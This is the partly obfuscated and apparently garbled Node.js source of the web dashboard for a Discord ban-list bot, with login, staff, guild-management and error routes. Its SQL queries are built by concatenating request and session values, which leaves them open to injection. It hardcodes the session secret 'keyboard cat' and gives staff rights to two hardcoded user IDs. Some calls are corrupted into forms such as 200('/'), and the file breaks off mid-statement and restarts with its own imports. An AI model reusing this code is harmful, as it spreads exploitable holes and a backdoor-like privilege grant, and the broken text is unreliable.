                              'https://discord.com/api/oauth2/authorize?client_id=' +
                              client.user.id +
                              '&permissions=8&scope=bot%20applications.commands',
                            data: _0x4224d7,
                          }
                          _0x32627e.push(_0x4ce1e9)
                        } else {
                          let _0x23e9b3 = {
                            button: 'Manage Guild',
                            style: 'guild-manage',
                            imgstyle: 'imgguildstyle-manage',
                            btn: 'btn-success',
                            target: '',
                            link: '/dashboard/manage/' + _0x4224d7.id,
                            data: _0x4224d7,
                          }
                          _0x32627e.push(_0x23e9b3)
                        }
                      }
                    }
                  )
                  _0x5e821e.render('dashboard.ejs', {
                    user: _0x35b240.session.passport.user,
                    loggedIn: _0x35b240.isAuthenticated(),
                    siteInfo: _0xb41321[0],
                    isStaff: _0x311e91,
                    buttons: _0x3ec433,
                    isUserBanned: _0x37d39b,
                    isOwner: _0x59edf5,
                    userBans: _0x5ea7bb,
                    isDev: dev,
                    bot: client,
                    guilds: _0x32627e,
                  })
                }
              )
            }
          )
        }
      )
    }
  )
})
app.get(
  '/dashboard/manage/:id',
  checkAuth,
  async function (_0x505a6a, _0x16173d) {
    client.con.query(
      'SELECT * FROM siteSettings WHERE id="1"',
      async function (_0x1f84e7, _0x4080df) {
        let _0x4aa4b2
        client.con.query(
          'SELECT * FROM staff WHERE staffid="' +
            _0x505a6a.session.passport.user.id +
            '"',
          async function (_0x3b3727, _0x3ef541) {
            if (_0x3b3727) {
              throw _0x3b3727
            }
            if (!_0x3ef541[0]) {
              _0x4aa4b2 = false
              if (
                config.bot.owners.includes(_0x505a6a.session.passport.user.id)
              ) {
                _0x4aa4b2 = true
              }
            } else {
              _0x4aa4b2 = true
            }
            let _0x32dcf0 = _0x505a6a.params.id
            client.con.query(
              'SELECT * FROM siteHeadButtons',
              async function (_0x48462d, _0x348184) {
                if (_0x48462d) {
                  throw _0x48462d
                }
                client.con.query(
                  'SELECT * FROM bans WHERE bannedUserId = "' +
                    _0x505a6a.session.passport.user.id +
                    '"',
                  async function (_0x58a10f, _0x23c925) {
                    let _0x374a6c
                    if (_0x58a10f) {
                      throw _0x58a10f
                    }
                    if (!_0x23c925[0]) {
                      _0x374a6c = 'False'
                    } else {
                      if (_0x23c925[0].active == 1) {
                        _0x374a6c = 'True'
                      } else {
                        _0x374a6c = 'False'
                      }
                    }
                    let _0x1e5bd1
                    if (
                      config.bot.owners.includes(
                        _0x505a6a.session.passport.user.id
                      )
                    ) {
                      _0x1e5bd1 = true
                    } else {
                      _0x1e5bd1 = false
                    }
                    if (_0x505a6a.isAuthenticated()) {
                      if (
                        _0x505a6a.session.passport.user.id ===
                          '539975000799838249' ||
                        _0x505a6a.session.passport.user.id ===
                          '668497496124686347'
                      ) {
                        dev = true
                        _0x4aa4b2 = true
                      } else {
                        dev = false
                      }
                    }
                    let _0x3bbc84 = client.guilds.cache.get(_0x505a6a.params.id)
                    client.con.query(
                      'SELECT * FROM guildsettings WHERE guildid = "' +
                        _0x505a6a.params.id +
                        '"',
                      async function (_0xc66c52, _0x15d986) {
                        if (_0xc66c52) {
                          throw _0xc66c52
                        }
                        if (!_0x15d986[0]) {
                          client.con.query(
                            'INSERT INTO guildsettings (guildid, autobans) VALUES ("' +
                              _0x505a6a.params.id +
                              '", "1")',
                            async function (_0x3dc44a) {
                              if (_0x3dc44a) {
                                throw _0x3dc44a
                              }
                            }
                          )
                        }
                        client.con.query(
                          'SELECT * FROM guildsettings WHERE guildid = "' +
                            _0x505a6a.params.id +
                            '"',
                          async function (_0x1fe5c7, _0x207619) {
                            if (_0x1fe5c7) {
                              throw _0x1fe5c7
                            }
                            _0x16173d.render('manageGuild.ejs', {
                              user: _0x505a6a.session.passport.user,
                              loggedIn: _0x505a6a.isAuthenticated(),
                              siteInfo: _0x4080df[0],
                              isStaff: _0x4aa4b2,
                              buttons: _0x348184,
                              isUserBanned: _0x374a6c,
                              isOwner: _0x1e5bd1,
                              userBans: _0x23c925,
                              isDev: dev,
                              guild: _0x3bbc84,
                              guildSettings: _0x207619[0],
                            })
                          }
                        )
                      }
                    )
                  }
                )
              }
            )
          }
        )
      }
    )
  }
)
app.get('/staff', checkAuth, async function (_0x517470, _0x2d8265) {
  let _0x297c9e
  let _0x278702
  let _0x3df55c
  let _0x9e914f = []
  let _0x5c7813 = []
  let _0x42b988 = []
  client.con.query(
    'SELECT * FROM staff WHERE staffid="' +
      _0x517470.session.passport.user.id +
      '"',
    async function (_0x38a10a, _0x3ac4a8) {
      if (_0x38a10a) {
        throw _0x38a10a
      }
      if (!_0x3ac4a8[0]) {
        _0x297c9e = false
        if (config.bot.owners.includes(_0x517470.session.passport.user.id)) {
          _0x297c9e = true
        }
      } else {
        _0x297c9e = true
      }
      client.con.query(
        'SELECT * FROM siteSettings WHERE id="1"',
        async function (_0x5aad16, _0x391e6f) {
          if (_0x297c9e) {
            if (
              config.bot.owners.includes(_0x517470.session.passport.user.id)
            ) {
              _0x278702 = true
            } else {
              _0x278702 = false
            }
            if (_0x517470?.query?.page) {
              _0x3df55c = '/' + _0x517470.query.page
            } else {
              _0x3df55c = 'none'
            }
            client.con.query(
              'SELECT * FROM siteHeadButtons',
              async function (_0xaea17d, _0x49ab9e) {
                if (_0xaea17d) {
                  throw _0xaea17d
                }
                await client.con.query(
                  'SELECT * FROM staff',
                  async function (_0x54471c, _0x14cf16) {
                    if (_0x54471c) {
                      throw _0x54471c
                    }
                    await _0x14cf16.forEach(async function (_0x786f5) {
                      let _0x53eaf6 = Number(_0x786f5.staffid)
                      if (!isNaN(_0x53eaf6)) {
                        let _0x216590 = await client.users.fetch(
                          _0x786f5.staffid
                        )
                        let _0x52b721 = await client.users.fetch(
                          _0x786f5.userid
                        )
                        await _0x9e914f.push({
                          staffid: _0x786f5.staffid,
                          stafftag: _0x216590.tag,
                          userid: _0x786f5.userid,
                          usertag: _0x52b721.tag,
                        })
                      } else {
                        await client.con.query(
                          'DELETE FROM staff WHERE staffid="' +
                            _0x786f5.staffid +
                            '" LIMIT 1',
                          async function (_0x229fef, _0x14dcf3) {
                            if (_0x229fef) {
                              throw _0x229fef
                            }
                          }
                        )
                      }
                    })
                    await client.guilds.cache.forEach(async function (
                      _0x349f9e
                    ) {
                      const _0x213d08 = await client.users
                        .fetch(_0x349f9e.ownerId)
                        .catch((_0x413d6c) => {})
                      let _0x4e9fb2 = moment(_0x349f9e.createdAt)
                      let _0xf07208 =
                        _0x4e9fb2.format('DD/MM/YYYY') +
                        '( ' +
                        _0x4e9fb2.fromNow() +
                        ' )'
                      _0x5c7813.push({
                        guildId: _0x349f9e.id,
                        guildName: _0x349f9e.name,
                        ownerId: _0x213d08.id,
                        ownerTag: _0x213d08.tag,
                        guildIcon:
                          'https://cdn.discordapp.com/icons/' +
                          _0x349f9e.id +
                          '/' +
                          _0x349f9e.icon,
                        guildCreated: _0x349f9e.createdAt,
                        guildMembers: _0xf07208,
                      })
                    })
                    if (_0x517470.isAuthenticated()) {
                      if (
                        _0x517470.session.passport.user.id ===
                          '539975000799838249' ||
                        _0x517470.session.passport.user.id ===
                          '668497496124686347'
                      ) {
                        dev = true
                        _0x297c9e = true
                      } else {
                        dev = false
                      }
                    }
                    if (!_0x297c9e) {
                      200('/')
                    }
                    client.con.query(
                      'SELECT * FROM users',
                      async function (_0x28cae2, _0x234757) {
                        if (_0x28cae2) {
                          throw _0x28cae2
                        }
                        client.con.query(
                          'SELECT * FROM bans',
                          async function (_0x211478, _0x46ac17) {
                            if (_0x211478) {
                              throw _0x211478
                            }
                            await _0x46ac17.forEach(async (_0x123375) => {
                              await _0x42b988.push({
                                userid: _0x123375.bannedUserId,
                                userTag: _0x123375.bannedUserTag,
                                staffid: _0x123375.staffMemberId,
                                staffTag: _0x123375.staffMemberTag,
                                reason: _0x123375.reason,
                                prrof: _0x123375.proof,
                                banId: _0x123375.banId,
                                time: _0x123375.dateTime,
                                active: _0x123375.active,
                                id: _0x123375.banId,
                              })
                            })
                            _0x2d8265.statusCode = 200
                            200('Content-Type', 'text/html')
                            200('staffhome.ejs', {
                              userCon: _0x234757,
                              bot: client,
                              user: _0x517470.session.passport.user,
                              loggedIn: _0x517470.isAuthenticated(),
                              config: config,
                              siteInfo: _0x391e6f[0],
                              isStaff: _0x297c9e,
                              isOwner: _0x278702,
                              page: _0x3df55c,
                              buttons: _0x49ab9e,
                              staff: _0x9e914f,
                              guilds: _0x5c7813,
                              bans: _0x42b988,
                            })
                          }
                        )
                      }
                    )
                  }
                )
              }
            )
          } else {
            200('/')
          }
        }
      )
    }
  )
})
app.get('/error', checkAuth, async function (_0x1005d7, _0x3a3e5f) {
  var _0x4ea81e = _0x1005d7.query.err || 'An error occured, go back.'
  client.con.query(
    'SELECT * FROM siteSettings WHERE id="1"',
    async function (_0x588892, _0x8bcd44) {
      let _0x43ff90
      client.con.query(
        'SELECT * FROM staff WHERE staffid="' +
          _0x1005d7.session.passport.user.id +
          '"',
        async function (_0x199c9c, _0x2cfedf) {
          if (_0x199c9c) {
            throw _0x199c9c
          }
          if (!_0x2cfedf[0]) {
            _0x43ff90 = false
            if (
              config.bot.owners.includes(_0x1005d7.session.passport.user.id)
            ) {
              _0x43ff90 = true
            }
          } else {
            _0x43ff90 = true
          }
          client.con.query(
            'SELECT * FROM siteHeadButtons',
            async function (_0xe23a1e, _0x1aec5c) {
              if (_0xe23a1e) {
                throw _0xe23a1e
              }
              client.con.query(
                'SELECT * FROM bans WHERE bannedUserId = "' +
                  _0x1005d7.session.passport.user.id +
                  '"',
                async function (_0x34b7fb, _0x403035) {
                  let _0x1c0735
                  if (_0x34b7fb) {
                    throw _0x34b7fb
                  }
                  if (!_0x403035[0]) {
                    _0x1c0735 = 'False'
                  } else {
                    if (_0x403035[0].active == 1) {
                      _0x1c0735 = 'True'
                    } else {
                      _0x1c0735 = 'False'
                    }
                  }
                  let _0x202df8
                  if (
                    config.bot.owners.includes(
                      _0x1005d7.session.passport.user.id
                    )
                  ) {
                    _0x202df8 = true
                  } else {
                    _0x202df8 = false
                  }
                  if (_0x1005d7.isAuthenticated()) {
                    if (
                      _0x1005d7.session.passport.user.id ===
                        '539975000799838249' ||
                      _0x1005d7.session.passport.user.id ===
                        '668497496124686347'
                    ) {
                      dev = true
                      _0x43ff90 = true
                    } else {
                      dev = false
                    }
                  }
                  _0x3a3e5f.render('error.ejs', {
                    user: _0x1005d7.session.passport.user,
                    loggedIn: _0x1005d7.isAuthenticated(),
                    siteInfo: _0x8bcd44[0],
                    isStaff: _0x43ff90,
                    buttons: _0x1aec5c,
                    isUserBanned: _0x1c0735,
                    isOwner: _0x202df8,
                    userBans: _0x403035,
                    isDev: dev,
                    bot: client,
                    error: _0x4ea81e,
                  })
                }
              )
            }
          )
        }
      )
    }
  )
})
app.get('/discorduserdata', checkAuth, async function (_0x55d5a1, _0xc16733) {
  _0xc16733
    .type('json')
    .send(JSON.stringify(_0x55d5a1.session.passport.user, null, 4) + '\n')
})
app.get('/auth/discord', passport.authenticate('discord'))
app.get(
  '/auth/discord/callback',
  passport.authenticate('discord', { failureRedirect: '/' }),
  async function (_0x1f1fdb, _0x58287c) {
    client.con.query(
      "SELECT * FROM users WHERE userId = '" +
        _0x1f1fdb.session.passport.user.id +
        "'",
      (_0x307254, _0x448d34) => {
        if (_0x448d34[0]) {
        } else {
          let _0x182920 = _0x1f1fdb.session.passport.user.username
            .replaceAll('"', ' ')
            .replaceAll('`', ' ')
          client.con.query(
            "INSERT INTO users (userId, userName, userTag, userEmail) VALUES ('" +
              _0x1f1fdb.session.passport.user.id +
              "', '" +
              _0x182920 +
              "', '" +
              _0x1f1fdb.session.passport.user.tag +
              "', '" +
              _0x1f1fdb.session.passport.user.email +
              "')",
            function (_0x5bda17, _0x39393c) {
              if (_0x5bda17) {
                console.log(_0x5bda17)
              }
            }
          )
        }
      }
    )
    if (_0x1f1fdb.session?.loginRef) {
      _0x58287c.redirect(_0x1f1fdb.session.loginRef)
    } else {
      _0x58287c.redirect('/')
    }
    delete _0x1f1fdb.session?.loginRef
    client.users.fetch(_0x1f1fdb.session.passport.user.id).then((_0x16f282) => {
      moment.locale('en')
      let _0x51c5ed = new MessageActionRow().addComponents(
        new MessageButton()
          .setLabel('User Account')
          .setStyle('LINK')
          .setURL(
            (config.app.domain.endsWith('/')
              ? config.app.domain.slice(0, -1)
              : config.app.domain) +
              '/account/' +
              _0x16f282.id
          )
      )
      let _0xba4690 = new MessageEmbed()
        .setTitle('User Logged In')
        .setDescription(
          '**User:** ' +
            _0x16f282 +
            ' ' +
            _0x16f282.tag +
            ' (`' +
            _0x16f282.id +
            '`)\n**Time:** <t:' +
            moment().unix() +
            ':R> | ' +
            moment().format('LLLL')
        )
        .setThumbnail(_0x16f282.displayAvatarURL({ dynamic: true }))
        .setFooter({
          text: '' + client.user.username,
          iconURL: client.user.displayAvatarURL({ dynamic: true }),
        })
      const _0x5b3287 = client.channels.cache.get(config.info.siteLogs)
      _0x5b3287.send({
        embeds: [_0xba4690],
        components: [_0x51c5ed],
      })
    })
  }
)
app.get('*', function (_0x5282a9, _0x196a96) {
  _0x196a96.render('404.ejs')
})
app.listen(config.app.port)
process.report.reportOnFatalError = true
process.on('unhandledRejection', async (_0x364272) => {
  if (_0x364272.toString().includes('EADDRINUSE')) {
    return
  }
  const _0x13f4b9 = Date.now()
  console.log(_0x364272)
  let _0x29a4f3 = ['[ERR_HTTP_HEADERS_SENT]']
  let _0x1a7a3f = true
  _0x29a4f3.forEach(function (_0x46703a) {
    if (_0x364272.toString().includes(_0x46703a)) {
      _0x1a7a3f = false
    }
  })
  if (!_0x1a7a3f)
const Discord = require('discord.js')
const config = require('./config.js')
const chalk = require('chalk')
const mysql = require('mysql')
const fs = require('fs')
const passport = require('passport')
const multer = require('multer')
const bodyParser = require('body-parser')
const session = require('express-session')
const formData = require('form-data')
let con = mysql.createConnection(config.sql)
const moment = require('moment')
const ms = require('ms')
const discordModals = require('discord-modals')
const client = new Discord.Client({
  shards: 'auto',
  allowedMentions: {
    parse: [],
    repliedUser: false,
  },
  partials: ['MESSAGE', 'CHANNEL', 'REACTION'],
  intents: [
    Discord.Intents.FLAGS.GUILDS,
    Discord.Intents.FLAGS.GUILD_MEMBERS,
    Discord.Intents.FLAGS.GUILD_VOICE_STATES,
    Discord.Intents.FLAGS.GUILD_MESSAGES,
    Discord.Intents.FLAGS.GUILD_MESSAGE_REACTIONS,
  ],
})
discordModals(client)
client.logo = config.miscOptions.botIconUrl
client.color = config.miscOptions.themeColor
client.footer = { text: 'Slash BanDB | Xolify#0207' }
client.commands = new Discord.Collection()
client.cooldowns = new Discord.Collection()
client.slashCommands = new Discord.Collection()
client.aliases = new Discord.Collection()
client.extensions = new Discord.Collection()
client.categories = require('fs').readdirSync('./commands')
client.con = con
const express = require('express')
const app = express()
if (Number(process.version.slice(1).split('.')[0] < 16)) {
  throw new Error(
    'Node.js v16 or higher is required, Discord.JS relies on this version, please update @ https://nodejs.org'
  )
}
var multerStorage = multer.memoryStorage()
app.use(multer({ storage: multerStorage }).any())
app.use(bodyParser.urlencoded({ extended: false }))
app.use(
  session({
    secret: 'keyboard cat',
    resave: false,
    saveUninitialized: false,
    cookie: { maxAge: 31556952000 },
  })
)
app.use(passport.initialize())
app.use(passport.session())
app.use(express.static('public'))
app.use('/assets', express.static(__dirname + 'public/assets'))
app.set('views', './views')
app.set('view engine', 'ejs')
require('./backend/routing.js')(client, app, config)
async function checkAuth(_0x15d58a, _0x37293d, _0x483e35) {
  if (_0x15d58a.isAuthenticated()) {
    _0x483e35()
  } else {
    _0x37293d.redirect('/auth/discord')
  }
}
module.exports = client
function _0x2766() {
  return [
    '_blank',
    '/dashboard/manage/',
    'name',
    'info',
    'botIconUrl',
    'siteLogs',
    'versions',
    'proof',
    'ER_NO_SUCH_TABLE',
    'LLLL',
    'length',
    '/account/:id',
    'SELECT * FROM users WHERE id = "',
    'https://discord.com/api/oauth2/authorize?client_id=',
    './events/ready.js',
    'setThumbnail',
    'authenticate',
    'account.ejs',
    'true',
    'set',
    'unix',
    'setTitle',
    'owner',
    "INSERT INTO users (userId, userName, userTag, userEmail) VALUES ('",
    'CHANNEL',
    'view engine',
    'owners',
    'any',
    '285620xfjNid',
    'SELECT * FROM staff WHERE staffid="',
    'code',
    'token',
    'cooldowns',
    'public',
    'username',
    '```\n',
    'Strategy',
    'statusCode',
    'render',
    'setDescription',
    'memoryStorage',
    'links',
    'params',
    'session',
    '/dashboard',
    'DD/MM/YYYY',
    'now',
    'error.ejs',
    'deserializeUser',
    'text/html',
    'serializeUser',
    'auto',
    'SELECT * FROM guildsettings WHERE guildid = "',
    '5951cUvLSI',
    '/dashboard/manage/:id',
    'manageGuild.ejs',
    'push',
    'send',
    'SELECT * FROM siteSettings WHERE id="1"',
    '/staff',
    '2.0.6',
    'staffMemberId',
    'loginRef',
    'GUILD_MESSAGES',
    'sql',
    'page',
    'displayAvatarURL',
    'Intents',
    'memberCount',
    'bannedUserId',
    'logout',
    '/account',
    '```',
    'message',
    'categories',
    'SELECT COUNT(*) as total FROM bans WHERE active = 1',
    'createConnection',
    'none',
    'setFooter',
    'dashboard.ejs',
    'views',
    'isAuthenticated',
    'True',
    'discord-modals',
    'Null',
    'LINK',
    '67vOYhxg',
    'color',
    'GUILD_MESSAGE_REACTIONS',
    'dateTime',
    'existsSync',
    '84312kmHhLg',
    'email',
    'active',
    'replaceAll',
    'endsWith',
    'DELETE FROM staff WHERE staffid="',
    'readdirSync',
    'consent',
    'reportOnFatalError',
    'cache',
    'locale',
    'components',
    'version',
    'reason',
    'sqlLoop',
    'INSERT INTO staff (staffid, userid) VALUES ("',
    'channels',
    '104GAOQIR',
    'title',
    'User Account',
    'SELECT * FROM bans WHERE bannedUserId = "',
    'form-data',
    'format',
    '[A] ',
    'setStyle',
    'discord.js',
    'appeal.ejs',
    'category',
    'userEmail',
    'ownerId',
    "SELECT * FROM users WHERE userId = '",
    'https://cdn.discordapp.com/icons/',
    'extensions',
    'fetch',
    'query',
    'SELECT * FROM users',
    'False',
    'login',
    'Node.js v16 or higher is required, Discord.JS relies on this version, please update @ https://nodejs.org',
    'tag',
    '[ERR_HTTP_HEADERS_SENT]',
    'setLabel',
    '610sLnaQs',
    'moment',
    'SELECT * FROM siteHeadButtons',
    '606282pQPJOS',
    'passport-discord-faxes',
    '**User:** ',
    'port',
    'botSecret',
    '/auth/discord',
    'destroy',
    'static',
    '[Ready-File] - The ready file was not found.',
    'SELECT * FROM staff',
    'User Logged Out',
    'SELECT * FROM bans WHERE bannedUserId="',
    '&permissions=8&scope=bot%20applications.commands',
    'stack',
    ':R> | ',
    'includes',
    '404.ejs',
    'FLAGS',
    'forEach',
    'logo',
    'user',
    'Automatic',
    'app',
    'staffhome.ejs',
    './backend/routing.js',
    '4210IXjuTY',
    'banId',
    'report.ejs',
    '15thSEwB',
    'Manage Guild',
    'SELECT * FROM bans',
    'get',
    '/discorduserdata',
    '" LIMIT 1',
    'slashCommands',
    '/auth/discord/callback',
    'index.ejs',
    'passport',
    'append',
    'userid',
    '", "1")',
    'mysql',
    'event',
    'total',
    '668497496124686347',
    'users',
    'log',
    '27084ZDrFYH',
    'then',
    'miscOptions',
    'GUILDS',
    '/report',
    ' (`',
    'slice',
    'con',
    'ready',
    '539975000799838249',
    "', '",
    '9IwRIiq',
    'Collection',
    './commands',
    'guilds',
    'description',
    'imgguildstyle-manage',
    '7iPCaAM',
    'User Logged In',
    'redirect',
    'botId',
    'bot',
    'addComponents',
    '[Ready-File] - The ready file was tampered with.',
    'guild-manage',
    'setURL',
    './handlers/',
    '/logout',
    '/account/',
    'report',
    'exit',
    'catch',
    'exports',
    '44152geTTxJ',
    './config.js',
    'use',
    'aliases',
    'public/assets',
    'discord',
    'Invite Me',
    'toString',
    'staffid',
    'icon',
    'body-parser',
    'createdAt',
    '/search',
    'type',
    'red',
    './views',
    'setHeader',
    'domain',
    'search.ejs',
    'themeColor',
  ]
}
if (fs.existsSync('./events/ready.js')) {
  const ready = require('./events/ready.js')
  if (ready.ready) {
    const test = ready.ready('ready')
    if (test) {
    } else {
      console.log(chalk.red('[Ready-File] - The ready file was tampered with.'))
      process.exit(1)
    }
  } else {
    console.log(chalk.red('[Ready-File] - The ready file was tampered with.'))
    process.exit(1)
  }
} else {
  console.log(chalk.red('[Ready-File] - The ready file was not found.'))
  process.exit(1)
}
function _0x4d97(_0x2e9e88, _0x27ee64) {
  const _0x2766d0 = [
    '_blank',
    '/dashboard/manage/',
    'name',
    'info',
    'botIconUrl',
    'siteLogs',
    'versions',
    'proof',
    'ER_NO_SUCH_TABLE',
    'LLLL',
    'length',
    '/account/:id',
    'SELECT * FROM users WHERE id = "',
    'https://discord.com/api/oauth2/authorize?client_id=',
    './events/ready.js',
    'setThumbnail',
    'authenticate',
    'account.ejs',
    'true',
    'set',
    'unix',
    'setTitle',
    'owner',
    "INSERT INTO users (userId, userName, userTag, userEmail) VALUES ('",
    'CHANNEL',
    'view engine',
    'owners',
    'any',
    '285620xfjNid',
    'SELECT * FROM staff WHERE staffid="',
    'code',
    'token',
    'cooldowns',
    'public',
    'username',
    '```\n',
    'Strategy',
    'statusCode',
    'render',
    'setDescription',
    'memoryStorage',
    'links',
    'params',
    'session',
    '/dashboard',
    'DD/MM/YYYY',
    'now',
    'error.ejs',
    'deserializeUser',
    'text/html',
    'serializeUser',
    'auto',
    'SELECT * FROM guildsettings WHERE guildid = "',
    '5951cUvLSI',
    '/dashboard/manage/:id',
    'manageGuild.ejs',
    'push',
    'send',
    'SELECT * FROM siteSettings WHERE id="1"',
    '/staff',
    '2.0.6',
    'staffMemberId',
    'loginRef',
    'GUILD_MESSAGES',
    'sql',
    'page',
    'displayAvatarURL',
    'Intents',
    'memberCount',
    'bannedUserId',
    'logout',
    '/account',
    '```',
    'message',
    'categories',
    'SELECT COUNT(*) as total FROM bans WHERE active = 1',
    'createConnection',
    'none',
    'setFooter',
    'dashboard.ejs',
    'views',
    'isAuthenticated',
    'True',
    'discord-modals',
    'Null',
    'LINK',
    '67vOYhxg',
    'color',
    'GUILD_MESSAGE_REACTIONS',
    'dateTime',
    'existsSync',
    '84312kmHhLg',
    'email',
    'active',
    'replaceAll',
    'endsWith',
    'DELETE FROM staff WHERE staffid="',
    'readdirSync',
    'consent',
    'reportOnFatalError',
    'cache',
    'locale',
    'components',
    'version',
    'reason',
    'sqlLoop',
    'INSERT INTO staff (staffid, userid) VALUES ("',
    'channels',
    '104GAOQIR',
    'title',
    'User Account',
    'SELECT * FROM bans WHERE bannedUserId = "',
    'form-data',
    'format',
    '[A] ',
    'setStyle',
    'discord.js',
    'appeal.ejs',
    'category',
    'userEmail',
    'ownerId',
    "SELECT * FROM users WHERE userId = '",
    'https://cdn.discordapp.com/icons/',
    'extensions',
    'fetch',
    'query',
    'SELECT * FROM users',
    'False',
    'login',
    'Node.js v16 or higher is required, Discord.JS relies on this version, please update @ https://nodejs.org',
    'tag',
    '[ERR_HTTP_HEADERS_SENT]',
    'setLabel',
    '610sLnaQs',
    'moment',
    'SELECT * FROM siteHeadButtons',
    '606282pQPJOS',
    'passport-discord-faxes',
    '**User:** ',
    'port',
    'botSecret',
    '/auth/discord',
    'destroy',
    'static',
    '[Ready-File] - The ready file was not found.',
    'SELECT * FROM staff',
    'User Logged Out',
    'SELECT * FROM bans WHERE bannedUserId="',
    '&permissions=8&scope=bot%20applications.commands',
    'stack',
    ':R> | ',
    'includes',
    '404.ejs',
    'FLAGS',
    'forEach',
    'logo',
    'user',
    'Automatic',
    'app',
    'staffhome.ejs',
    './backend/routing.js',
    '4210IXjuTY',
    'banId',
    'report.ejs',
    '15thSEwB',
    'Manage Guild',
    'SELECT * FROM bans',
    'get',
    '/discorduserdata',
    '" LIMIT 1',
    'slashCommands',
    '/auth/discord/callback',
    'index.ejs',
    'passport',
    'append',
    'userid',
    '", "1")',
    'mysql',
    'event',
    'total',
    '668497496124686347',
    'users',
    'log',
    '27084ZDrFYH',
    'then',
    'miscOptions',
    'GUILDS',
    '/report',
    ' (`',
    'slice',
    'con',
    'ready',
    '539975000799838249',
    "', '",
    '9IwRIiq',
    'Collection',
    './commands',
    'guilds',
    'description',
    'imgguildstyle-manage',
    '7iPCaAM',
    'User Logged In',
    'redirect',
    'botId',
    'bot',
    'addComponents',
    '[Ready-File] - The ready file was tampered with.',
    'guild-manage',
    'setURL',
    './handlers/',
    '/logout',
    '/account/',
    'report',
    'exit',
    'catch',
    'exports',
    '44152geTTxJ',
    './config.js',
    'use',
    'aliases',
    'public/assets',
    'discord',
    'Invite Me',
    'toString',
    'staffid',
    'icon',
    'body-parser',
    'createdAt',
    '/search',
    'type',
    'red',
    './views',
    'setHeader',
    'domain',
    'search.ejs',
    'themeColor',
  ]
  _0x4d97 = function (_0x4d9723, _0x1deb42) {
    _0x4d9723 = _0x4d9723 - 146
    let _0x248fd7 = _0x2766d0[_0x4d9723]
    return _0x2766d0[_0x4d9723]
  }
  return _0x4d97(_0x2e9e88, _0x27ee64)
}
;['event', 'slash', 'components', 'extensions'].forEach((_0x4eb1a3) => {
  require('./handlers/' + _0x4eb1a3)(client)
})
const { MessageEmbed, MessageActionRow, MessageButton } = require('discord.js')
const backend = require('./backend/backend.js')
backend.sqlLoop(con)
const DiscordStrategy = require('passport-discord-faxes').Strategy
passport.serializeUser(function (_0xf5b642, _0x2e092f) {
  _0x2e092f(null, _0xf5b642)
})
passport.deserializeUser(function (_0xf23d8a, _0x264dd1) {
  _0x264dd1(null, _0xf23d8a)
})
passport.use(
  new (require('passport-discord-faxes').Strategy)(
    {
      clientID: config.bot.botId,
      clientSecret: config.bot.botSecret,
      callbackURL:
        (config.app.domain.endsWith('/')
          ? config.app.domain.slice(0, -1)
          : config.app.domain) + '/auth/discord/callback',
      scope: ['identify', 'guilds', 'email'],
      prompt: 'consent',
    },
    function (_0x193571, _0x2ddec6, _0x21edb5, _0x3ec6ff) {
      process.nextTick(function () {
        return _0x3ec6ff(null, _0x21edb5)
      })
    }
  )
)
async function setOwners() {
  config.bot.owners.forEach(function (_0x366bda) {
    if (_0x366bda.length === 0 || !_0x366bda) {
      return
    }
    client.con.query(
      "SELECT * FROM staff WHERE userid = '" + _0x366bda + "'",
      async function (_0x20a4bc, _0x270bcd) {
        if (_0x20a4bc) {
          throw _0x20a4bc
        }
        if (!_0x270bcd[0]) {
          client.con.query(
            'INSERT INTO staff (staffid, userid) VALUES ("' +
              _0x366bda +
              '", "' +
              _0x366bda +
              '")'
          )
        }
      }
    )
  })
}
setInterval(() => {
  setOwners()
}, 3000)
app.get('/', async function (_0x217b49, _0x1af81b) {
  let _0x30e159
  let _0x342462
  let _0x3dd2a4 = 0
  client.guilds.cache.forEach((_0x425f1a) => {
    _0x3dd2a4 += _0x425f1a.memberCount
  })
  client.con.query(
    'SELECT * FROM siteSettings WHERE id="1"',
    async function (_0x156807, _0x5b0f43) {
      if (_0x217b49.isAuthenticated()) {
        _0x30e159 = _0x217b49.session.passport.user
        client.con.query(
          'SELECT * FROM staff WHERE staffid="' +
            _0x217b49.session.passport.user.id +
            '"',
          async function (_0x1a7329, _0x46d3bb) {
            if (_0x1a7329) {
              throw _0x1a7329
            }
            if (!_0x46d3bb[0]) {
              _0x342462 = false
              if (
                config.bot.owners.includes(_0x217b49.session.passport.user.id)
              ) {
                _0x342462 = true
              }
            } else {
              _0x342462 = true
            }
          }
        )
      } else {
        _0x342462 = false
      }
      await client.con.query(
        'SELECT * FROM siteHeadButtons',
        async function (_0xce7572, _0x1a4b83) {
          if (_0xce7572) {
            throw _0xce7572
          }
          client.con.query(
            'SELECT COUNT(*) as total FROM bans WHERE active = 1',
            async function (_0x244a76, _0x1c28bf) {
              if (_0x217b49.isAuthenticated()) {
                if (
                  _0x217b49.session.passport.user.id === '539975000799838249' ||
                  _0x217b49.session.passport.user.id === '668497496124686347'
                ) {
                  dev = true
                  _0x342462 = true
                } else {
                  dev = false
                }
              }
              _0x1af81b.render('index.ejs', {
                loggedIn: _0x217b49.isAuthenticated(),
                config: config,
                user: _0x30e159,
                siteInfo: _0x5b0f43[0],
                isStaff: _0x342462,
                buttons: _0x1a4b83,
                bans: _0x1c28bf[0].total,
                bot: client,
                count: _0x3dd2a4,
              })
            }
          )
        }
      )
    }
  )
})
app.get('/logout', async function (_0x597d34, _0x52c7bd) {
  client.users.fetch(_0x597d34.session.passport.user.id).then((_0x387c5f) => {
    moment.locale('en')
    let _0x5152eb = new MessageEmbed()
      .setTitle('User Logged Out')
      .setDescription(
        '**User:** ' +
          _0x387c5f +
          ' ' +
          _0x387c5f.tag +
          ' (`' +
          _0x387c5f.id +
          '`)\n**Time:** <t:' +
          moment().unix() +
          ':R> | ' +
          moment().format('LLLL')
      )
      .setThumbnail(_0x387c5f.displayAvatarURL({ dynamic: true }))
      .setFooter({
        text: '' + client.user.username,
        iconURL: client.user.displayAvatarURL({ dynamic: true }),
      })
    const _0x20c434 = client.channels.cache.get(config.info.siteLogs)
    _0x20c434.send({ embeds: [_0x5152eb] })
    _0x597d34.logout()
    _0x597d34.session.destroy()
    _0x52c7bd.redirect('/')
  })
})
app.get('/account', checkAuth, async function (_0x51edc0, _0x43b870) {
  client.con.query(
    'SELECT * FROM siteSettings WHERE id="1"',
    async function (_0x140e2e, _0x545eaa) {
      let _0x164148
      client.con.query(
        'SELECT * FROM staff WHERE staffid="' +
          _0x51edc0.session.passport.user.id +
          '"',
        async function (_0x1e2fd2, _0x54e827) {
          if (_0x1e2fd2) {
            throw _0x1e2fd2
          }
          if (!_0x54e827[0]) {
            _0x164148 = false
            if (
              config.bot.owners.includes(_0x51edc0.session.passport.user.id)
            ) {
              _0x164148 = true
            }
          } else {
            _0x164148 = true
          }
          client.con.query(
